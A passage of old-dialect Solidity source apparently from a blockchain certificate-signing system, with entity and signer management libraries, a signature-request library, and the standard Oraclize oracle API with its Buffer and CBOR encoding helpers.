function setExpiration (Data storage self, uint entityId, uint expirationDate) isNotClosed(self, entityId) onlyEntity(self, entityId) isExpirationDateValid(expirationDate) public {
EntityData storage entity = self.entities[entityId];
entity.status = 1;
entity.expiration = expirationDate;
EntityExpirationSet(entityId);
}
function setRenewalPeriod (Data storage self, uint entityId, uint renewalPeriod) isNotClosed(self, entityId) onlyEntity(self, entityId) isRenewalPeriodValid(renewalPeriod) public {
EntityData storage entity = self.entities[entityId];
entity.renewalPeriod = renewalPeriod;
EntityRenewalSet(entityId);
}
function closeEntity(Data storage self, uint entityId) isNotClosed(self, entityId) onlyEntity(self, entityId) public {
self.entities[entityId].status = 8;
EntityClosed(entityId);
}
function registerSigner(Data storage self, uint entityId, address signerAddress, string signerDataHash) isValidEntity(self, entityId) onlyEntity(self, entityId) signerIsNotYetRegistered(self, entityId, signerAddress) public {
self.entities[entityId].signersArr.push(signerAddress);
self.entities[entityId].signers[signerAddress] = SignerData({
signerDataHash: signerDataHash,
status: 1
});
SignerAdded(entityId, signerAddress);
}
function confirmSignerRegistration(Data storage self, uint entityId, string signerDataHash) isValidEntity(self, entityId) isWaitingConfirmation(self, entityId, signerDataHash) public {
self.entities[entityId].signers[msg.sender].status = 2;
SignerConfirmed(entityId, msg.sender);
}
function removeSigner(Data storage self, uint entityId, address signerAddress) isValidEntity(self, entityId) onlyEntity(self, entityId) public {
internalRemoveSigner(self, entityId, signerAddress);
}
function internalRemoveSigner(Data storage self, uint entityId, address signerAddress) private {
EntityData storage entity = self.entities[entityId];
address[] storage signersArr = entity.signersArr;
SignerData storage signer = entity.signers[signerAddress];
if (bytes(signer.signerDataHash).length != 0 || signer.status != 0) {
signer.status = 0;
signer.signerDataHash = '';
delete entity.signers[signerAddress];
uint i = 0;
for (i; signerAddress != signersArr[i]; i++) {}
signersArr[i] = signersArr[signersArr.length - 1];
signersArr[signersArr.length - 1] = 0;
signersArr.length = signersArr.length - 1;
SignerRemoved(entityId, signerAddress);
}
}
function leaveEntity(Data storage self, uint entityId) signerBelongsToEntity(self, entityId) public {
internalRemoveSigner(self, entityId, msg.sender);
}
function canValidateSigningEntity(Data storage self, uint entityId, string url) isNotClosed(self, entityId) isRegisteredURL(self, entityId, url) view public returns (bool) {
return true;
}
function canRenew(Data storage self, uint entityId, string url) isValidatedEntity(self, entityId) isRenewalPeriod(self, entityId) isRegisteredURL(self, entityId, url) view public returns (bool) {
return true;
}
function canIssueCertificates(Data storage self, uint entityId) isNotClosed(self, entityId) notExpired(self, entityId) signerBelongsToEntity(self, entityId) view public returns (bool) {
return true;
}
function updateEntityData(Data storage self, uint entityId, string entityDataHash, bytes32 urlHash) isNotClosed(self, entityId) onlyEntity(self, entityId) public {
EntityData storage entity = self.entities[entityId];
entity.dataHash = entityDataHash;
entity.urlHash = urlHash;
entity.status = 1;
EntityDataUpdated(entityId);
}
function updateSignerData(Data storage self, uint[] entityIds, string signerDataHash) signerBelongsToEntities(self, entityIds) public {
uint[] memory updated = new uint[](entityIds.length);
for (uint i = 0; i < entityIds.length; i++) {
uint entityId = entityIds[i];
SignerData storage signer = self.entities[entityId].signers[msg.sender];
if (signer.status != 2) {
continue;
}
signer.status = 3;
signer.signerDataHash = signerDataHash;
updated[i] = entityId;
}
SignerDataUpdated(updated, msg.sender);
}
function acceptSignerUpdate(Data storage self, uint entityId, address signerAddress, string signerDataHash) onlyEntity(self, entityId) notExpired(self, entityId) signerUpdateCanBeAccepted(self, entityId, signerAddress, signerDataHash) public {
EntityData storage entity = self.entities[entityId];
entity.signers[signerAddress].status = 2;
SignerUpdateAccepted(entityId, signerAddress);
}
function max(uint a, uint b) pure public returns(uint) {
if (a > b) {
return a;
} else {
return b;
}
}
function stringsEqual(string memory _a, string memory _b) pure internal returns (bool) {
bytes memory a = bytes(_a);
bytes memory b = bytes(_b);
if (a.length != b.length)
return false;
for (uint i = 0; i < a.length; i ++) {
if (a[i] != b[i])
return false;
}
return true;
}
function strConcat(string _a, string _b, string _c, string _d, string _e) pure internal returns (string){
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) {babcde[k++] = _ba[i];}
for (i = 0; i < _bb.length; i++) {babcde[k++] = _bb[i];}
for (i = 0; i < _bc.length; i++) {babcde[k++] = _bc[i];}
for (i = 0; i < _bd.length; i++) {babcde[k++] = _bd[i];}
for (i = 0; i < _be.length; i++) {babcde[k++] = _be[i];}
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) pure internal returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) pure internal returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) pure internal returns (string) {
return strConcat(_a, _b, "", "", "");
}
function uintToString(uint v) pure public returns (string) {
uint maxlength = 100;
bytes memory reversed = new bytes(maxlength);
uint i = 0;
while (v != 0) {
uint remainder = v % 10;
v = v / 10;
reversed[i++] = byte(48 + remainder);
}
bytes memory s = new bytes(i);
for (uint j = 0; j < i; j++) {
s[j] = reversed[i - j - 1];
}
string memory str = string(s);
return str;
}
function setOraclizeQueryId(Data storage self, uint id, bytes32 queryId) public {
self.entities[id].oraclizeQueryId = queryId;
}
function isValidated(Data storage self, uint id) view public returns (bool) {
return (id > 0 && (self.entities[id].status == 2 || self.entities[id].status == 4));
}
function isExpired(Data storage self, uint id) view public returns (bool) {
return (id > 0 && (self.entities[id].expiration < now));
}
function isClosed(Data storage self, uint id) view public returns (bool) {
return self.entities[id].status == 8;
}
function isValid(Data storage self, uint id) view public returns (bool) {
return isValidated(self, id) && !isExpired(self, id) && !isClosed(self, id);
}
function exists(Data storage self, uint id) view public returns(bool) {
EntityData storage entity = self.entities[id];
return entity.status > 0;
}
modifier isRenewalPeriodValid(uint renewalPeriod) {
require(renewalPeriod >= 0 && renewalPeriod <= 32 * 24 * 60 * 60);
_;
}
modifier isExpirationDateValid(uint expiration) {
require(expiration - now > 0 && expiration - now <= 32 * 24 * 60 * 60);
_;
}
modifier isValidatedEntity(Data storage self, uint id) {
require (isValidated(self, id));
_;
}
modifier isValidEntity(Data storage self, uint id) {
require (isValid(self, id));
_;
}
modifier notExpired(Data storage self, uint id) {
require (!isExpired(self, id));
_;
}
modifier onlyEntity(Data storage self, uint id) {
require (msg.sender == self.entities[id].owner);
_;
}
modifier isRegisteredURL(Data storage self, uint entityId, string url) {
require (self.entities[entityId].urlHash == sha256(url));
_;
}
modifier isRenewalPeriod(Data storage self, uint entityId) {
EntityData storage entity = self.entities[entityId];
require (entity.renewalPeriod > 0 && entityId > 0 && (entity.expiration - entity.renewalPeriod < now) && entity.status == 2);
_;
}
modifier signerBelongsToEntity(Data storage self, uint entityId) {
EntityData storage entity = self.entities[entityId];
require (entityId > 0 && (bytes(entity.signers[msg.sender].signerDataHash).length != 0) && (entity.signers[msg.sender].status == 2));
_;
}
modifier signerBelongsToEntities(Data storage self, uint[] entityIds) {
for (uint i = 0; i < entityIds.length; i++) {
uint entityId = entityIds[i];
EntityData storage entity = self.entities[entityId];
require (entityId > 0 && (entity.signers[msg.sender].status != 0));
}
_;
}
modifier signerIsNotYetRegistered(Data storage self, uint entityId, address signerAddress) {
EntityData storage entity = self.entities[entityId];
require (entity.signers[signerAddress].status == 0);
_;
}
modifier signerUpdateCanBeAccepted(Data storage self, uint entityId, address signerAddress, string signerDataHash) {
require (isValid(self, entityId));
EntityData storage entity = self.entities[entityId];
string memory oldSignerDatHash = entity.signers[signerAddress].signerDataHash;
require (entity.signers[signerAddress].status == 3 && stringsEqual(oldSignerDatHash, signerDataHash));
_;
}
modifier isWaitingConfirmation(Data storage self, uint entityId, string signerDataHash) {
EntityData storage entity = self.entities[entityId];
SignerData storage signer = entity.signers[msg.sender];
require ((bytes(signer.signerDataHash).length != 0) && (signer.status == 1) && stringsEqual(signer.signerDataHash, signerDataHash));
_;
}
modifier isNotClosed(Data storage self, uint entityId) {
require(!isClosed(self, entityId));
_;
}
event EntityCreated(uint indexed entityId);
event EntityValidated(uint indexed entityId);
event EntityDataUpdated(uint indexed entityId);
event EntityInvalid(uint indexed entityId);
event SignerAdded(uint indexed entityId, address indexed signerAddress);
event SignerDataUpdated(uint[] entities, address indexed signerAddress);
event SignerUpdateAccepted(uint indexed entityId, address indexed signerAddress);
event SignerRemoved(uint indexed entityId, address signerAddress);
event EntityClosed(uint indexed entityId);
event SignerConfirmed(uint indexed entityId, address signerAddress);
event EntityExpirationSet(uint indexed entityId);
event EntityRenewalSet(uint indexed entityId);
}
library SignLib {
function requestSignatureToEntity(EntityLib.Data storage ed, CertsLib.Data storage cd, uint certificateId, uint entityId) canRequestSignature(ed, cd, certificateId) isValid(ed, entityId) notHasSigningRequest(cd, certificateId, entityId) public {
CertsLib.CertData storage certificate = cd.certificates[certificateId];
addMissingSignature(certificate, entityId, 0x1, 0);
EntitySignatureRequested(certificateId, entityId);
}
function requestSignatureToPeer(EntityLib.Data storage ed, CertsLib.Data storage cd, uint certificateId, address peer) canRequestSignature(ed, cd, certificateId) notHasPeerSignature(cd, certificateId, peer) public {
CertsLib.CertData storage certificate = cd.certificates[certificateId];
addMissingPeerSignature(certificate, peer, 0x1, 0);
PeerSignatureRequested(certificateId, peer);
}
function signCertificateAsEntity(EntityLib.Data storage ed, CertsLib.Data storage cd, uint entityId, uint certificateId, uint expiration, bytes32 _purpose) isValid(ed, entityId) signerBelongsToEntity(ed, entityId) hasPendingSignatureOrIsOwner(ed, cd, certificateId, entityId) public {
CertsLib.CertData storage certificate = cd.certificates[certificateId];
bytes32 purpose = (_purpose == 0x0 || _purpose == 0x1) ? bytes32(0x2) : _purpose;
addMissingSignature(certificate, entityId, purpose, expiration);
CertificateSignedByEntity(certificateId, entityId, msg.sender);
}
function signCertificateAsPeer(CertsLib.Data storage cd, uint certificateId, uint expiration, bytes32 _purpose) hasPendingPeerSignatureOrIsOwner(cd, certificateId) public {
CertsLib.CertData storage certificate = cd.certificates[certificateId];
bytes32 purpose = (_purpose == 0x0 || _purpose == 0x1) ? bytes32(0x2) : _purpose;
addMissingPeerSignature(certificate, msg.sender, purpose, expiration);
CertificateSignedByPeer(certificateId, msg.sender);
}
function addMissingSignature(CertsLib.CertData storage certificate, uint entityId, bytes32 status, uint expiration) private {
uint[] storage entitiesArr = certificate.entitiesArr;
for (uint i = 0; i < entitiesArr.length && entitiesArr[i] != entityId; i++) {}
if (i == entitiesArr.length) {
entitiesArr.push(entityId);
}
certificate.entities[entityId].status = status;
certificate.entities[entityId].exp = expiration;
}
function addMissingPeerSignature(CertsLib.CertData storage certificate, address peer, bytes32 status, uint expiration) private {
address[] storage signaturesArr = certificate.signaturesArr;
for (uint i = 0; i < signaturesArr.length && signaturesArr[i] != peer; i++) {}
if (i == signaturesArr.length) {
signaturesArr.push(peer);
}
certificate.signatures[peer].status = status;
certificate.signatures[peer].exp = expiration;
}
modifier canRequestSignature(EntityLib.Data storage ed, CertsLib.Data storage cd, uint id) {
require (cd.certificates[id].owner == msg.sender ||
(cd.certificates[id].entityId > 0 && EntityLib.isValid(ed, cd.certificates[id].entityId) && ed.entities[cd.certificates[id].entityId].signers[msg.sender].status == 0x2)
);
_;
}
modifier isValid(EntityLib.Data storage ed, uint id) {
require (EntityLib.isValid(ed, id));
_;
}
modifier notHasSigningRequest(CertsLib.Data storage cd, uint certificateId, uint entityId) {
require (cd.certificates[certificateId].entities[entityId].status != 0x1);
_;
}
modifier notHasPeerSignature(CertsLib.Data storage cd, uint certificateId, address signerAddress) {
require (cd.certificates[certificateId].signatures[signerAddress].status != 0x1);
_;
}
modifier signerBelongsToEntity(EntityLib.Data storage ed, uint entityId) {
require (entityId > 0 && (bytes(ed.entities[entityId].signers[msg.sender].signerDataHash).length != 0) && (ed.entities[entityId].signers[msg.sender].status == 0x2));
_;
}
modifier hasPendingSignatureOrIsOwner(EntityLib.Data storage ed, CertsLib.Data storage cd, uint certificateId, uint entityId) {
require (cd.certificates[certificateId].entities[entityId].status == 0x1 || cd.certificates[certificateId].entityId == entityId);
_;
}
modifier hasPendingPeerSignatureOrIsOwner(CertsLib.Data storage cd, uint certificateId) {
require (cd.certificates[certificateId].signatures[msg.sender].status == 0x1 || cd.certificates[certificateId].owner == msg.sender);
_;
}
event EntitySignatureRequested(uint indexed certificateId, uint indexed entityId);
event PeerSignatureRequested(uint indexed certificateId, address indexed signerAddress);
event CertificateSignedByEntity(uint indexed certificateId, uint indexed entityId, address indexed signerAddress);
event CertificateSignedByPeer(uint indexed certificateId, address indexed signerAddress);
}
contract OraclizeI {
address public cbAddress;
function query(uint _timestamp, string _datasource, string _arg) payable returns (bytes32 _id);
function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) payable returns (bytes32 _id);
function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) payable returns (bytes32 _id);
function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) payable returns (bytes32 _id);
function queryN(uint _timestamp, string _datasource, bytes _argN) payable returns (bytes32 _id);
function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) payable returns (bytes32 _id);
function getPrice(string _datasource) returns (uint _dsprice);
function getPrice(string _datasource, uint gaslimit) returns (uint _dsprice);
function useCoupon(string _coupon);
function setProofType(byte _proofType);
function setConfig(bytes32 _config);
function setCustomGasPrice(uint _gasPrice);
function randomDS_getSessionPubKeyHash() returns(bytes32);
}
contract OraclizeAddrResolverI {
function getAddress() returns (address _addr);
}
library Buffer {
struct buffer {
bytes buf;
uint capacity;
}
function init(buffer memory buf, uint capacity) internal constant {
if(capacity % 32 != 0) capacity += 32 - (capacity % 32);
buf.capacity = capacity;
assembly {
let ptr := mload(0x40)
mstore(buf, ptr)
mstore(0x40, add(ptr, capacity))
}
}
function resize(buffer memory buf, uint capacity) private constant {
bytes memory oldbuf = buf.buf;
init(buf, capacity);
append(buf, oldbuf);
}
function max(uint a, uint b) private constant returns(uint) {
if(a > b) {
return a;
}
return b;
}
function append(buffer memory buf, bytes data) internal constant returns(buffer memory) {
if(data.length + buf.buf.length > buf.capacity) {
resize(buf, max(buf.capacity, data.length) * 2);
}
uint dest;
uint src;
uint len = data.length;
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
dest := add(add(bufptr, buflen), 32)
mstore(bufptr, add(buflen, mload(data)))
src := add(data, 32)
}
for(; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
return buf;
}
function append(buffer memory buf, uint8 data) internal constant {
if(buf.buf.length + 1 > buf.capacity) {
resize(buf, buf.capacity * 2);
}
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
let dest := add(add(bufptr, buflen), 32)
mstore8(dest, data)
mstore(bufptr, add(buflen, 1))
}
}
function appendInt(buffer memory buf, uint data, uint len) internal constant returns(buffer memory) {
if(len + buf.buf.length > buf.capacity) {
resize(buf, max(buf.capacity, len) * 2);
}
uint mask = 256 ** len - 1;
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
let dest := add(add(bufptr, buflen), len)
mstore(dest, or(and(mload(dest), not(mask)), data))
mstore(bufptr, add(buflen, len))
}
return buf;
}
}
library CBOR {
using Buffer for Buffer.buffer;
uint8 private constant MAJOR_TYPE_INT = 0;
uint8 private constant MAJOR_TYPE_NEGATIVE_INT = 1;
uint8 private constant MAJOR_TYPE_BYTES = 2;
uint8 private constant MAJOR_TYPE_STRING = 3;
uint8 private constant MAJOR_TYPE_ARRAY = 4;
uint8 private constant MAJOR_TYPE_MAP = 5;
uint8 private constant MAJOR_TYPE_CONTENT_FREE = 7;
function shl8(uint8 x, uint8 y) private constant returns (uint8) {
return x * (2 ** y);
}
function encodeType(Buffer.buffer memory buf, uint8 major, uint value) private constant {
if(value <= 23) {
buf.append(uint8(shl8(major, 5) | value));
} else if(value <= 0xFF) {
buf.append(uint8(shl8(major, 5) | 24));
buf.appendInt(value, 1);
} else if(value <= 0xFFFF) {
buf.append(uint8(shl8(major, 5) | 25));
buf.appendInt(value, 2);
} else if(value <= 0xFFFFFFFF) {
buf.append(uint8(shl8(major, 5) | 26));
buf.appendInt(value, 4);
} else if(value <= 0xFFFFFFFFFFFFFFFF) {
buf.append(uint8(shl8(major, 5) | 27));
buf.appendInt(value, 8);
}
}
function encodeIndefiniteLengthType(Buffer.buffer memory buf, uint8 major) private constant {
buf.append(uint8(shl8(major, 5) | 31));
}
function encodeUInt(Buffer.buffer memory buf, uint value) internal constant {
encodeType(buf, MAJOR_TYPE_INT, value);
}
function encodeInt(Buffer.buffer memory buf, int value) internal constant {
if(value >= 0) {
encodeType(buf, MAJOR_TYPE_INT, uint(value));
} else {
encodeType(buf, MAJOR_TYPE_NEGATIVE_INT, uint(-1 - value));
}
}
function encodeBytes(Buffer.buffer memory buf, bytes value) internal constant {
encodeType(buf, MAJOR_TYPE_BYTES, value.length);
buf.append(value);
}
function encodeString(Buffer.buffer memory buf, string value) internal constant {
encodeType(buf, MAJOR_TYPE_STRING, bytes(value).length);
buf.append(bytes(value));
}
function startArray(Buffer.buffer memory buf) internal constant {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_ARRAY);
}
function startMap(Buffer.buffer memory buf) internal constant {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_MAP);
}
function endSequence(Buffer.buffer memory buf) internal constant {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_CONTENT_FREE);
}
}
contract usingOraclize {
uint constant day = 60*60*24;
uint constant week = 60*60*24*7;
uint constant month = 60*60*24*30;
byte constant proofType_NONE = 0x00;
byte constant proofType_TLSNotary = 0x10;
byte constant proofType_Android = 0x20;
byte constant proofType_Ledger = 0x30;
byte constant proofType_Native = 0xF0;
byte constant proofStorage_IPFS = 0x01;
uint8 constant networkID_auto = 0;
uint8 constant networkID_mainnet = 1;
uint8 constant networkID_testnet = 2;
uint8 constant networkID_morden = 2;
uint8 constant networkID_consensys = 161;
OraclizeAddrResolverI OAR;
OraclizeI oraclize;
modifier oraclizeAPI {
if((address(OAR)==0)||(getCodeSize(address(OAR))==0))
oraclize_setNetwork(networkID_auto);
if(address(oraclize) != OAR.getAddress())
oraclize = OraclizeI(OAR.getAddress());
_;
}
modifier coupon(string code){
oraclize = OraclizeI(OAR.getAddress());
oraclize.useCoupon(code);
_;
}
function oraclize_setNetwork(uint8 networkID) internal returns(bool){
if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){
OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed);
oraclize_setNetworkName("eth_mainnet");
return true;
}
if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){
OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1);
oraclize_setNetworkName("eth_ropsten3");
return true;
}
if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){
OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e);
oraclize_setNetworkName("eth_kovan");
return true;
}
if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){
OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48);
oraclize_setNetworkName("eth_rinkeby");
return true;
}
if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){
OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475);
return true;
}
if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){
OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF);
return true;
}
if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){
OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA);
return true;
}
return false;
}
function __callback(bytes32 myid, string result) {
__callback(myid, result, new bytes(0));
}
function __callback(bytes32 myid, string result, bytes proof) {
}
function oraclize_useCoupon(string code) oraclizeAPI internal {
oraclize.useCoupon(code);
}
function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource);
}
function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource, gaslimit);
}
function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(0, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(timestamp, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(0, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
